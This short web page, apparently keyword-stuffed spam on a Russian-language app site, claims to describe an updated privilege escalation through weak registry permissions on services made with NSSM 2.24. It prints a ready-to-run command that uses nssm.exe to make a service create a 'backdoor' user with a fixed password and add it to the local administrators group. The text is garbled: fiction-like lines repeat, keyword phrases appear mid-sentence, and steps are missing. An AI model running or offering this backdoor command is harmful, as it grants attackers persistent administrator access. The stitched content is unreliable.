1. Главная
  2. Приложения
  3. nssm224 privilege escalation updated
  4. nssm224 privilege escalation updated

Nssm224 Privilege Escalation Updated Now

The terminal flickered with a single line of text that changed everything: NSSM224: Privilege Escalation Updated.

  • reg query "HKLM\SYSTEM\CurrentControlSet\Services\ExampleSvc" /s

Updated Privilege Escalation via Registry ACLs

Researchers discovered that in NSSM 2.24, the Parameters subkey (which holds Application, AppDirectory, AppParameters) is not always protected. If the installer used the default NSSM service creation without adjusting registry permissions: nssm224 privilege escalation updated

REM Step 3: Modify service to run malicious payload C:\Users\Public\nssm.exe set VulnService AppParameters "C:\Windows\System32\cmd.exe /c net users backdoor P@ssw0rd /add && net localgroup administrators backdoor /add" The terminal flickered with a single line of

Exploitation Details